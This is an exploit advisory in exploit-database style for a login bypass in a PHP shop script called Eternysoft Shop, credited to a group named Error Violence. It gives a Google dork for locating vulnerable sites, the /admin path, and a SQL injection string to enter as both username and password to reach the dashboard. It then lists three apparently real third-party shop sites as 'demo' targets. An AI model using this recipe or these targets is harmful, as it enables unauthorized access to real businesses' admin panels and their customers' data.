*************************************************** # Exploit Title: Eternysoft Shop Admin Login Bypass # Google Dork: inurl:/list_barang.php?category= # Exploit: /admin # Vendor: http://www.bangpahmi.com/2017/04/cara-membuat-toko-online-dengan-php-dan-mysql.html # Date: 17/06/2018 # Author: 0N3R1D3R # Team: Error Violence # Tested on: Windows 10 x64 *************************************************** [+] Search the dork in Google [+] Open target [+] Give target with exploit ( /admin ) [+] Enter username and password with [+] Username: '=''or' [+] Password: '=''or' [+] Vuln? You redirected to dashboard *************************************************** [+] Demo Site [+] https://clubzeend.com/admin [+] http://www.nutsafirlombok.com/admin/ [+] http://asthatoys.com/toko/admin *************************************************** Thanks To Error Violence